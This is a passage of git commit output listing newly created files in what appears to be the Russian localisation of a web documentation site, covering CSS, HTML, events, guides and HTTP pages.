files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html create mode 100644 files/ru/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html create mode 100644 files/ru/web/css/css_grid_layout/index.html create mode 100644 files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html create mode 100644 files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html create mode 100644 files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html create mode 100644 files/ru/web/css/css_grid_layout/subgrid/index.html create mode 100644 "files/ru/web/css/css_grid_layout/\320\263\321\200\320\270\320\264-\320\276\320\261\320\273\320\260\321\201\321\202\320\270/index.html" create mode 100644 "files/ru/web/css/css_grid_layout/\321\200\320\260\321\201\320\277\320\276\320\273\320\276\320\266\320\265\320\275\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\277\320\276_\320\263\321\200\320\270\320\264-\320\273\320\270\320\275\320\270\321\217\320\274_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_css_grid/index.html" create mode 100644 files/ru/web/css/css_images/index.html create mode 100644 files/ru/web/css/css_images/using_css_gradients/index.html create mode 100644 files/ru/web/css/css_lists_and_counters/index.html create mode 100644 files/ru/web/css/css_lists_and_counters/using_css_counters/index.html create mode 100644 files/ru/web/css/css_positioning/index.html create mode 100644 files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html create mode 100644 files/ru/web/css/css_ruby/index.html create mode 100644 files/ru/web/css/css_scroll_snap/basic_concepts/index.html create mode 100644 files/ru/web/css/css_scroll_snap/index.html create mode 100644 files/ru/web/css/css_table/index.html create mode 100644 files/ru/web/css/css_transitions/index.html create mode 100644 files/ru/web/css/css_transitions/using_css_transitions/index.html create mode 100644 files/ru/web/css/css_types/index.html create mode 100644 files/ru/web/css/css_user_interface/index.html create mode 100644 files/ru/web/css/css_writing_modes/index.html create mode 100644 "files/ru/web/css/css_\321\201\320\265\320\273\320\265\320\272\321\202\320\276\321\200\321\213/index.html" create mode 100644 "files/ru/web/css/css_\321\201\320\265\320\273\320\265\320\272\321\202\320\276\321\200\321\213/using_the__colon_target_pseudo-class_in_selectors/index.html" create mode 100644 files/ru/web/css/cursor/index.html create mode 100644 files/ru/web/css/custom-ident/index.html create mode 100644 files/ru/web/css/descendant_combinator/index.html create mode 100644 files/ru/web/css/direction/index.html create mode 100644 files/ru/web/css/display-listitem/index.html create mode 100644 files/ru/web/css/display-outside/index.html create mode 100644 files/ru/web/css/display/index.html create mode 100644 files/ru/web/css/filter-function/blur()/index.html create mode 100644 files/ru/web/css/filter-function/index.html create mode 100644 files/ru/web/css/filter-function/url/index.html create mode 100644 files/ru/web/css/filter/index.html create mode 100644 files/ru/web/css/flex-basis/index.html create mode 100644 files/ru/web/css/flex-direction/index.html create mode 100644 files/ru/web/css/flex-flow/index.html create mode 100644 files/ru/web/css/flex-grow/index.html create mode 100644 files/ru/web/css/flex-shrink/index.html create mode 100644 files/ru/web/css/flex-wrap/index.html create mode 100644 files/ru/web/css/flex/index.html create mode 100644 files/ru/web/css/flex_value/index.html create mode 100644 files/ru/web/css/float/index.html create mode 100644 files/ru/web/css/font-family/index.html create mode 100644 files/ru/web/css/font-size/index.html create mode 100644 files/ru/web/css/font-style/index.html create mode 100644 files/ru/web/css/font-variant-ligatures/index.html create mode 100644 files/ru/web/css/font-variant-numeric/index.html create mode 100644 files/ru/web/css/font-weight/index.html create mode 100644 files/ru/web/css/font/index.html create mode 100644 files/ru/web/css/gap/index.html create mode 100644 files/ru/web/css/general_sibling_combinator/index.html create mode 100644 files/ru/web/css/grid-area/index.html create mode 100644 files/ru/web/css/grid-auto-flow/index.html create mode 100644 files/ru/web/css/grid-gap/index.html create mode 100644 files/ru/web/css/grid-row-start/index.html create mode 100644 files/ru/web/css/grid-template-areas/index.html create mode 100644 files/ru/web/css/grid-template-columns/index.html create mode 100644 files/ru/web/css/grid-template-rows/index.html create mode 100644 files/ru/web/css/grid/index.html create mode 100644 files/ru/web/css/hanging-punctuation/index.html create mode 100644 files/ru/web/css/height/index.html create mode 100644 files/ru/web/css/hyphens/index.html create mode 100644 files/ru/web/css/id_selectors/index.html create mode 100644 files/ru/web/css/image-set()/index.html create mode 100644 files/ru/web/css/index.html create mode 100644 files/ru/web/css/inherit/index.html create mode 100644 files/ru/web/css/inheritance/index.html create mode 100644 files/ru/web/css/initial/index.html create mode 100644 files/ru/web/css/initial_value/index.html create mode 100644 files/ru/web/css/inline-size/index.html create mode 100644 files/ru/web/css/inset/index.html create mode 100644 files/ru/web/css/integer/index.html create mode 100644 files/ru/web/css/isolation/index.html create mode 100644 files/ru/web/css/justify-content/index.html create mode 100644 files/ru/web/css/justify-items/index.html create mode 100644 files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html create mode 100644 files/ru/web/css/layout_cookbook/index.html create mode 100644 files/ru/web/css/layout_cookbook/split_navigation/index.html create mode 100644 files/ru/web/css/layout_cookbook/sticky_footers/index.html create mode 100644 files/ru/web/css/letter-spacing/index.html create mode 100644 files/ru/web/css/line-break/index.html create mode 100644 files/ru/web/css/line-height/index.html create mode 100644 files/ru/web/css/linear-gradient()/index.html create mode 100644 files/ru/web/css/list-style-image/index.html create mode 100644 files/ru/web/css/margin-bottom/index.html create mode 100644 files/ru/web/css/margin-inline-end/index.html create mode 100644 files/ru/web/css/margin-inline-start/index.html create mode 100644 files/ru/web/css/margin-left/index.html create mode 100644 files/ru/web/css/margin-right/index.html create mode 100644 files/ru/web/css/margin-top/index.html create mode 100644 files/ru/web/css/margin/index.html create mode 100644 files/ru/web/css/max-block-size/index.html create mode 100644 files/ru/web/css/max-height/index.html create mode 100644 files/ru/web/css/max-width/index.html create mode 100644 files/ru/web/css/media_queries/index.html create mode 100644 files/ru/web/css/media_queries/using_media_queries/index.html create mode 100644 "files/ru/web/css/media_queries/\321\202\320\265\321\201\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\320\274\320\265\320\264\320\270\320\260_\320\267\320\260\320\277\321\200\320\276\321\201\321\213/index.html" create mode 100644 files/ru/web/css/min-height/index.html create mode 100644 files/ru/web/css/min-width/index.html create mode 100644 files/ru/web/css/minmax()/index.html create mode 100644 files/ru/web/css/mix-blend-mode/index.html create mode 100644 files/ru/web/css/number/index.html create mode 100644 files/ru/web/css/object-fit/index.html create mode 100644 files/ru/web/css/object-position/index.html create mode 100644 files/ru/web/css/opacity/index.html create mode 100644 files/ru/web/css/order/index.html create mode 100644 files/ru/web/css/orphans/index.html create mode 100644 files/ru/web/css/overflow-block/index.html create mode 100644 files/ru/web/css/overflow-wrap/index.html create mode 100644 files/ru/web/css/overflow/index.html create mode 100644 files/ru/web/css/overscroll-behavior/index.html create mode 100644 files/ru/web/css/padding-left/index.html create mode 100644 files/ru/web/css/padding-right/index.html create mode 100644 files/ru/web/css/padding/index.html create mode 100644 files/ru/web/css/paged_media/index.html create mode 100644 files/ru/web/css/paint-order/index.html create mode 100644 files/ru/web/css/percentage/index.html create mode 100644 files/ru/web/css/perspective/index.html create mode 100644 files/ru/web/css/pointer-events/index.html create mode 100644 files/ru/web/css/position/index.html create mode 100644 files/ru/web/css/pseudo-elements/index.html create mode 100644 files/ru/web/css/radial-gradient()/index.html create mode 100644 files/ru/web/css/ratio/index.html create mode 100644 files/ru/web/css/reference/index.html create mode 100644 files/ru/web/css/repeating-linear-gradient()/index.html create mode 100644 files/ru/web/css/resolved_value/index.html create mode 100644 files/ru/web/css/revert/index.html create mode 100644 files/ru/web/css/right/index.html create mode 100644 files/ru/web/css/ruby-align/index.html create mode 100644 files/ru/web/css/scroll-behavior/index.html create mode 100644 files/ru/web/css/scroll-snap-type/index.html create mode 100644 files/ru/web/css/selector_list/index.html create mode 100644 files/ru/web/css/shorthand_properties/index.html create mode 100644 files/ru/web/css/specificity/index.html create mode 100644 files/ru/web/css/tab-size/index.html create mode 100644 files/ru/web/css/text-align-last/index.html create mode 100644 files/ru/web/css/text-align/index.html create mode 100644 files/ru/web/css/text-decoration-skip/index.html create mode 100644 files/ru/web/css/text-indent/index.html create mode 100644 files/ru/web/css/text-justify/index.html create mode 100644 files/ru/web/css/text-shadow/index.html create mode 100644 files/ru/web/css/text-size-adjust/index.html create mode 100644 files/ru/web/css/time/index.html create mode 100644 files/ru/web/css/top/index.html create mode 100644 files/ru/web/css/touch-action/index.html create mode 100644 files/ru/web/css/transform-function/index.html create mode 100644 files/ru/web/css/transform-function/rotate()/index.html create mode 100644 files/ru/web/css/transform-function/rotate3d()/index.html create mode 100644 files/ru/web/css/transform-function/scale3d()/index.html create mode 100644 files/ru/web/css/transform-function/skew()/index.html create mode 100644 files/ru/web/css/transform-style/index.html create mode 100644 files/ru/web/css/transform/index.html create mode 100644 files/ru/web/css/transition-duration/index.html create mode 100644 files/ru/web/css/transition/index.html create mode 100644 files/ru/web/css/type_selectors/index.html create mode 100644 files/ru/web/css/universal_selectors/index.html create mode 100644 files/ru/web/css/url()/index.html create mode 100644 files/ru/web/css/url/index.html create mode 100644 files/ru/web/css/used_value/index.html create mode 100644 files/ru/web/css/user-select/index.html create mode 100644 files/ru/web/css/using_css_custom_properties/index.html create mode 100644 files/ru/web/css/vertical-align/index.html create mode 100644 files/ru/web/css/visibility/index.html create mode 100644 files/ru/web/css/white-space/index.html create mode 100644 files/ru/web/css/widows/index.html create mode 100644 files/ru/web/css/width/index.html create mode 100644 files/ru/web/css/will-change/index.html create mode 100644 files/ru/web/css/word-break/index.html create mode 100644 files/ru/web/css/word-spacing/index.html create mode 100644 files/ru/web/css/writing-mode/index.html create mode 100644 files/ru/web/css/z-index/index.html create mode 100644 "files/ru/web/css/\320\264\320\265\320\271\321\201\321\202\320\262\320\270\321\202\320\265\320\273\321\214\320\275\320\276\320\265_\320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265/index.html" create mode 100644 "files/ru/web/css/\320\267\320\260\320\274\320\265\321\211\320\260\320\265\320\274\321\213\320\271_\321\215\320\273\320\265\320\274\320\265\320\275\321\202/index.html" create mode 100644 "files/ru/web/css/\320\277\321\201\320\265\320\262\320\264\320\276-\320\272\320\273\320\260\321\201\321\201\321\213/index.html" create mode 100644 "files/ru/web/css/\321\200\320\260\320\267\320\274\320\265\321\200/index.html" create mode 100644 "files/ru/web/css/\321\201\320\270\320\275\321\202\320\260\320\272\321\201\320\270\321\201/index.html" create mode 100644 "files/ru/web/css/\321\201\320\277\320\276\321\201\320\276\320\261_\321\200\320\260\321\201\320\277\320\276\320\273\320\276\320\266\320\265\320\275\320\270\321\217/index.html" create mode 100644 "files/ru/web/css/\321\202\320\270\321\205\320\270\320\271/index.html" create mode 100644 "files/ru/web/css/\321\203\320\272\320\260\320\267\320\260\320\275\320\275\320\276\320\265_\320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265/index.html" create mode 100644 files/ru/web/events/abort/index.html create mode 100644 files/ru/web/events/blur/index.html create mode 100644 files/ru/web/events/domcontentloaded/index.html create mode 100644 files/ru/web/events/dommodaldialogclosed/index.html create mode 100644 files/ru/web/events/domsubtreemodified/index.html create mode 100644 files/ru/web/events/error/index.html create mode 100644 files/ru/web/events/focusin/index.html create mode 100644 files/ru/web/events/focusout/index.html create mode 100644 files/ru/web/events/index.html create mode 100644 files/ru/web/events/load/index.html create mode 100644 files/ru/web/events/loadstart/index.html create mode 100644 files/ru/web/events/readystatechange/index.html create mode 100644 files/ru/web/events/transitionend/index.html create mode 100644 files/ru/web/events/unhandledrejection/index.html create mode 100644 files/ru/web/guide/ajax/index.html create mode 100644 "files/ru/web/guide/ajax/\321\201_\321\207\320\265\320\263\320\276_\320\275\320\260\321\207\320\260\321\202\321\214/index.html" create mode 100644 "files/ru/web/guide/ajax/\321\201_\321\207\320\265\320\263\320\276_\320\275\320\260\321\207\320\260\321\202\321\214_question_/index.html" create mode 100644 files/ru/web/guide/api/dom/index.html create mode 100644 files/ru/web/guide/api/dom/storage/index.html create mode 100644 files/ru/web/guide/api/index.html create mode 100644 files/ru/web/guide/api/webrtc/index.html create mode 100644 files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html create mode 100644 files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html create mode 100644 files/ru/web/guide/audio_and_video_delivery/index.html create mode 100644 files/ru/web/guide/audio_and_video_manipulation/index.html create mode 100644 files/ru/web/guide/css/block_formatting_context/index.html create mode 100644 files/ru/web/guide/css/getting_started/cascading_and_inheritance/index.html create mode 100644 files/ru/web/guide/css/getting_started/color/index.html create mode 100644 files/ru/web/guide/css/getting_started/how_css_works/index.html create mode 100644 files/ru/web/guide/css/getting_started/index.html create mode 100644 files/ru/web/guide/css/getting_started/readable_css/index.html create mode 100644 files/ru/web/guide/css/getting_started/selectors/index.html create mode 100644 "files/ru/web/guide/css/getting_started/svg_\320\270_css/index.html" create mode 100644 files/ru/web/guide/css/getting_started/text_styles/index.html create mode 100644 files/ru/web/guide/css/getting_started/what_is_css/index.html create mode 100644 files/ru/web/guide/css/getting_started/why_use_css/index.html create mode 100644 "files/ru/web/guide/css/getting_started/\321\202\320\260\320\261\320\273\320\270\321\206\321\213/index.html" create mode 100644 files/ru/web/guide/css/index.html create mode 100644 files/ru/web/guide/css/understanding_z_index/adding_z-index/index.html create mode 100644 files/ru/web/guide/css/understanding_z_index/index.html create mode 100644 files/ru/web/guide/css/understanding_z_index/stacking_without_z-index/index.html create mode 100644 files/ru/web/guide/css/using_multi-column_layouts/index.html create mode 100644 files/ru/web/guide/css/visual_formatting_model/index.html create mode 100644 files/ru/web/guide/events/event_handlers/index.html create mode 100644 files/ru/web/guide/events/index.html create mode 100644 files/ru/web/guide/events/media_events/index.html create mode 100644 files/ru/web/guide/events/overview_of_events_and_handlers/index.html create mode 100644 "files/ru/web/guide/events/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\320\270_\320\262\321\213\320\267\320\276\320\262_\321\201\320\276\320\261\321\213\321\202\320\270\320\271/index.html" create mode 100644 files/ru/web/guide/html/content_categories/index.html create mode 100644 files/ru/web/guide/html/drag_and_drop/drag_operations/index.html create mode 100644 files/ru/web/guide/html/drag_and_drop/index.html create mode 100644 files/ru/web/guide/html/editable_content/index.html create mode 100644 files/ru/web/guide/html/sections_and_outlines_of_an_html5_document/index.html create mode 100644 files/ru/web/guide/html/tips_for_authoring_fast-loading_html_pages/index.html create mode 100644 files/ru/web/guide/html/using_data_attributes/index.html create mode 100644 "files/ru/web/guide/html/\321\204\320\276\321\200\320\274\321\213_\320\262_html/index.html" create mode 100644 files/ru/web/guide/index.html create mode 100644 files/ru/web/guide/localizations_and_character_encodings/index.html create mode 100644 files/ru/web/guide/mobile/index.html create mode 100644 files/ru/web/guide/parsing_and_serializing_xml/index.html create mode 100644 files/ru/web/guide/unicode_bidrectional_text_algorithm/index.html create mode 100644 files/ru/web/guide/user_input_methods/index.html create mode 100644 files/ru/web/guide/woff/index.html create mode 100644 "files/ru/web/guide/\320\263\321\200\320\260\321\204\320\270\320\272\320\260/index.html" create mode 100644 "files/ru/web/guide/\320\277\321\200\320\276\320\270\320\267\320\262\320\276\320\264\320\270\321\202\320\265\320\273\321\214\320\275\320\276\321\201\321\202\321\214/index.html" create mode 100644 files/ru/web/html/applying_color/index.html create mode 100644 files/ru/web/html/attributes/index.html create mode 100644 files/ru/web/html/block-level_elements/index.html create mode 100644 files/ru/web/html/cors_enabled_image/index.html create mode 100644 files/ru/web/html/cors_settings_attributes/index.html create mode 100644 files/ru/web/html/element/a/index.html create mode 100644 files/ru/web/html/element/abbr/index.html create mode 100644 files/ru/web/html/element/acronym/index.html create mode 100644 files/ru/web/html/element/address/index.html create mode 100644 files/ru/web/html/element/applet/index.html create mode 100644 files/ru/web/html/element/area/index.html create mode 100644 files/ru/web/html/element/article/index.html create mode 100644 files/ru/web/html/element/aside/index.html create mode 100644 files/ru/web/html/element/audio/index.html create mode 100644 files/ru/web/html/element/b/index.html create mode 100644 files/ru/web/html/element/base/index.html create mode 100644 files/ru/web/html/element/basefont/index.html create mode 100644 files/ru/web/html/element/bdi/index.html create mode 100644 files/ru/web/html/element/bdo/index.html create mode 100644 files/ru/web/html/element/blockquote/index.html create mode 100644 files/ru/web/html/element/body/index.html create mode 100644 files/ru/web/html/element/br/index.html create mode 100644 files/ru/web/html/element/canvas/index.html create mode 100644 files/ru/web/html/element/caption/index.html create mode 100644 files/ru/web/html/element/cite/index.html create mode 100644 files/ru/web/html/element/code/index.html create mode 100644 files/ru/web/html/element/col/index.html create mode 100644 files/ru/web/html/element/data/index.html create mode 100644 files/ru/web/html/element/datalist/index.html create mode 100644 files/ru/web/html/element/dd/index.html create mode 100644 files/ru/web/html/element/del/index.html create mode 100644 files/ru/web/html/element/details/index.html create mode 100644 files/ru/web/html/element/dfn/index.html create mode 100644 files/ru/web/html/element/dialog/index.html create mode 100644 files/ru/web/html/element/div/index.html create mode 100644 files/ru/web/html/element/dl/index.html create mode 100644 files/ru/web/html/element/dt/index.html create mode 100644 files/ru/web/html/element/element/index.html create mode 100644 files/ru/web/html/element/em/index.html create mode 100644 files/ru/web/html/element/embed/index.html create mode 100644 files/ru/web/html/element/fieldset/index.html create mode 100644 files/ru/web/html/element/figcaption/index.html create mode 100644 files/ru/web/html/element/figure/index.html create mode 100644 files/ru/web/html/element/font/index.html create mode 100644 files/ru/web/html/element/footer/index.html create mode 100644 files/ru/web/html/element/form/index.html create mode 100644 files/ru/web/html/element/head/index.html create mode 100644 files/ru/web/html/element/header/index.html create mode 100644 files/ru/web/html/element/heading_elements/index.html create mode 100644 files/ru/web/html/element/hgroup/index.html create mode 100644 files/ru/web/html/element/hr/index.html create mode 100644 files/ru/web/html/element/html/index.html create mode 100644 files/ru/web/html/element/image/index.html create mode 100644 files/ru/web/html/element/img/index.html create mode 100644 files/ru/web/html/element/index.html create mode 100644 files/ru/web/html/element/input/button/index.html create mode 100644 files/ru/web/html/element/input/color/index.html create mode 100644 files/ru/web/html/element/input/date/index.html create mode 100644 files/ru/web/html/element/input/datetime-local/index.html create mode 100644 files/ru/web/html/element/input/datetime/index.html create mode 100644 files/ru/web/html/element/input/file/index.html create mode 100644 files/ru/web/html/element/input/image/index.html create mode 100644 files/ru/web/html/element/input/index.html create mode 100644 files/ru/web/html/element/input/number/index.html create mode 100644 files/ru/web/html/element/input/password/index.html create mode 100644 files/ru/web/html/element/input/radio/index.html create mode 100644 files/ru/web/html/element/input/range/index.html create mode 100644 files/ru/web/html/element/input/search/index.html create mode 100644 files/ru/web/html/element/input/tel/index.html create mode 100644 files/ru/web/html/element/ins/index.html create mode 100644 files/ru/web/html/element/kbd/index.html create mode 100644 files/ru/web/html/element/label/index.html create mode 100644 files/ru/web/html/element/legend/index.html create mode 100644 files/ru/web/html/element/li/index.html create mode 100644 files/ru/web/html/element/main/index.html create mode 100644 files/ru/web/html/element/map/index.html create mode 100644 files/ru/web/html/element/mark/index.html create mode 100644 files/ru/web/html/element/marquee/index.html create mode 100644 files/ru/web/html/element/menu/index.html create mode 100644 files/ru/web/html/element/meta/index.html create mode 100644 files/ru/web/html/element/meter/index.html create mode 100644 files/ru/web/html/element/nav/index.html create mode 100644 files/ru/web/html/element/noscript/index.html create mode 100644 files/ru/web/html/element/ol/index.html create mode 100644 files/ru/web/html/element/optgroup/index.html create mode 100644 files/ru/web/html/element/option/index.html create mode 100644 files/ru/web/html/element/output/index.html create mode 100644 files/ru/web/html/element/p/index.html create mode 100644 files/ru/web/html/element/picture/index.html create mode 100644 files/ru/web/html/element/pre/index.html create mode 100644 files/ru/web/html/element/progress/index.html create mode 100644 files/ru/web/html/element/ruby/index.html create mode 100644 files/ru/web/html/element/script/index.html create mode 100644 files/ru/web/html/element/section/index.html create mode 100644 files/ru/web/html/element/select/index.html create mode 100644 files/ru/web/html/element/slot/index.html create mode 100644 files/ru/web/html/element/source/index.html create mode 100644 files/ru/web/html/element/span/index.html create mode 100644 files/ru/web/html/element/strong/index.html create mode 100644 files/ru/web/html/element/style/index.html create mode 100644 files/ru/web/html/element/summary/index.html create mode 100644 files/ru/web/html/element/td/index.html create mode 100644 files/ru/web/html/element/template/index.html create mode 100644 files/ru/web/html/element/tfoot/index.html create mode 100644 files/ru/web/html/element/time/index.html create mode 100644 files/ru/web/html/element/title/index.html create mode 100644 files/ru/web/html/element/track/index.html create mode 100644 files/ru/web/html/element/u/index.html create mode 100644 files/ru/web/html/element/ul/index.html create mode 100644 files/ru/web/html/element/video/index.html create mode 100644 files/ru/web/html/element/video/seeking_event/index.html create mode 100644 files/ru/web/html/element/wbr/index.html create mode 100644 "files/ru/web/html/element/\320\272\320\275\320\276\320\277\320\272\320\260/index.html" create mode 100644 "files/ru/web/html/element/\321\201\321\201\321\213\320\273\320\272\320\260/index.html" create mode 100644 files/ru/web/html/global_attributes/accesskey/index.html create mode 100644 files/ru/web/html/global_attributes/class/index.html create mode 100644 files/ru/web/html/global_attributes/contenteditable/index.html create mode 100644 files/ru/web/html/global_attributes/data-_star_/index.html create mode 100644 files/ru/web/html/global_attributes/dir/index.html create mode 100644 files/ru/web/html/global_attributes/dropzone/index.html create mode 100644 files/ru/web/html/global_attributes/id/index.html create mode 100644 files/ru/web/html/global_attributes/index.html create mode 100644 files/ru/web/html/global_attributes/inputmode/index.html create mode 100644 files/ru/web/html/global_attributes/is/index.html create mode 100644 files/ru/web/html/global_attributes/itemid/index.html create mode 100644 files/ru/web/html/global_attributes/lang/index.html create mode 100644 files/ru/web/html/global_attributes/style/index.html create mode 100644 files/ru/web/html/global_attributes/tabindex/index.html create mode 100644 files/ru/web/html/index.html create mode 100644 files/ru/web/html/optimizing_your_pages_for_speculative_parsing/index.html create mode 100644 files/ru/web/html/preloading_content/index.html create mode 100644 files/ru/web/html/quirks_mode_and_standards_mode/index.html create mode 100644 "files/ru/web/html/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_\320\272\321\215\321\210\320\270\321\200\320\276\320\262\320\260\320\275\320\270\321\217_\320\277\321\200\320\270\320\273\320\276\320\266\320\265\320\275\320\270\320\271/index.html" create mode 100644 "files/ru/web/html/\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\270\320\262\320\260\320\265\320\274\321\213\320\265_\320\274\320\265\320\264\320\270\320\260_\321\204\320\276\321\200\320\274\320\260\321\202\321\213/index.html" create mode 100644 "files/ru/web/html/\321\201\321\201\321\213\320\273\320\272\320\270/index.html" create mode 100644 "files/ru/web/html/\321\201\321\202\321\200\320\276\321\207\320\275\321\213\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\321\213/index.html" create mode 100644 "files/ru/web/html/\321\202\320\270\320\277\321\213_\321\201\321\201\321\213\320\273\320\276\320\272/index.html" create mode 100644 files/ru/web/http/basics_of_http/data_uris/index.html create mode 100644 files/ru/web/http/basics_of_http/evolution_of_http/index.html create mode 100644 files/ru/web/http/basics_of_http/identifying_resources_on_the_web_ru/index.html create mode 100644 files/ru/web/http/basics_of_http/index.html create mode 100644 files/ru/web/http/basics_of_http/mime_types/common_types/index.html create mode 100644 files/ru/web/http/basics_of_http/mime_types/index.html create mode 100644 files/ru/web/http/conditional_requests/index.html create mode 100644 files/ru/web/http/connection_management_in_http_1.x/index.html create mode 100644 files/ru/web/http/content_negotiation/index.html create mode 100644 files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html create mode 100644 files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html create mode 100644 files/ru/web/http/cors/errors/corsdidnotsucceed/index.html create mode 100644 files/ru/web/http/cors/errors/corsdisabled/index.html create mode 100644 files/ru/web/http/cors/errors/corsmissingalloworigin/index.html create mode 100644 files/ru/web/http/cors/errors/index.html create mode 100644 files/ru/web/http/cors/index.html create mode 100644 files/ru/web/http/csp/index.html create mode 100644 files/ru/web/http/feature_policy/index.html create mode 100644 files/ru/web/http/feature_policy/using_feature_policy/index.html create mode 100644 files/ru/web/http/index.html create mode 100644 files/ru/web/http/messages/index.html create mode 100644 files/ru/web/http/methods/connect/index.html create mode 100644 files/ru/web/http/methods/delete/index.html create mode 100644 files/ru/web/http/methods/get/index.html create mode 100644 files/ru/web/http/methods/head/index.html create mode 100644 files/ru/web/http/methods/index.html create mode 100644 files/ru/web/http/methods/options/index.html create mode 100644 files/ru/web/http/methods/patch/index.html create mode 100644 files/ru/web/http/methods/post/index.html create mode 100644 files/ru/web/http/methods/put/index.html create mode 100644 files/ru/web/http/methods/trace/index.html create mode 100644 files/ru/web/http/overview/index.html create mode 100644 files/ru/web/http/redirections/index.html create mode 100644 files/ru/web/http/server-side_access_control/index.html create mode 100644 files/ru/web/http/session/index.html create mode 100644 files/ru/web/http/status/100/index.html create mode 100644 files/ru/web/http/status/101/index.html create mode 100644 files/ru/web/http/status/103/index.html create mode 100644 files/ru/web/http/status/200/index.html create mode 100644 files/ru/web/http/status/201/index.html create mode 100644 files/ru/web/http/status/202/index.html create mode 100644 files/ru/web/http/status/203/index.html create mode 100644 files/ru/web/http/status/204/index.html create mode 100644 files/ru/web/http/status/205/index.html create mode 100644 files/ru/web/http/status/206/index.html create mode 100644 files/ru/web/http/status/300/index.html create mode 100644 files/ru/web/http/status/301/index.html create mode 100644 files/ru/web/http/status/302/index.html create mode 100644 files/ru/web/http/status/303/index.html create mode 100644 files/ru/web/http/status/304/index.html create mode 100644 files/ru/web/http/status/307/index.html create mode 100644 files/ru/web/http/status/308/index.html create mode 100644 files/ru/web/http/status/400/index.html create mode 100644 files/ru/web/http/status/401/index.html create mode 100644 files/ru/web/http/status/402/index.html create mode 100644 files/ru/web/http/status/403/index.html create mode 100644 files/ru/web/http/status/404/index.html create mode 100644 files/ru/web/http/status/405/index.html create mode 100644 files/ru/web/http/status/406/index.html create mode 100644 files/ru/web/http/status/407/index.html create mode 100644 files/ru/web/http/status/408/index.html create mode 100644 files/ru/web/http/status/409/index.html create mode 100644 files/ru/web/http/status/410/index.html create mode 100644 files/ru/web/http/status/411/index.html create mode 100644 files/ru/web/http/status/412/index.html create mode 100644 files/ru/web/http/status/413/index.html create mode 100644 files/ru/web/http/status/414/index.html create mode 100644 files/ru/web/http/status/415/index.html create mode 100644 files/ru/web/http/status/416/index.html create mode 100644 files/ru/web/http/status/417/index.html create mode 100644 files/ru/web/http/status/418/index.html create mode 100644 files/ru/web/http/status/422/index.html create mode 100644 files/ru/web/http/status/425/index.html create mode 100644 files/ru/web/http/status/426/index.html create mode 100644 files/ru/web/http/status/428/index.html create mode 100644 files/ru/web/http/status/429/index.html create mode 100644 files/ru/web/http/status/431/index.html create mode 100644 files/ru/web/http/status/451/index.html create mode 100644 files/ru/web/http/status/500/index.html create mode 100644 files/ru/web/http/status/501/index.html create mode 100644 files/ru/web/http/status/502/index.html create mode 100644 files/ru/web/http/status/503/index.html create mode 100644 files/ru/web/http/status/504/index.html create mode 100644 files/ru/web/http/status/505/index.html create mode 100644 files/ru/web/http/status/511/index.html create mode 100644 files/ru/web/http/status/index.html create mode 100644 "files/ru/web/http/\320\260\320\262\321\202\320\276\321\200\320\270\320\267\320\260\321\206\320\270\321\217/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-charset/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-language/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-patch/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-ranges/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-headers/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-methods/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-origin/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-max-age/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/authorization/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/cache-control/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/connection/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-disposition/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-encoding/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-language/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-length/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/content-type/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/date/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/dnt/index.html" create mode 100644 "files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/etag/index.html" 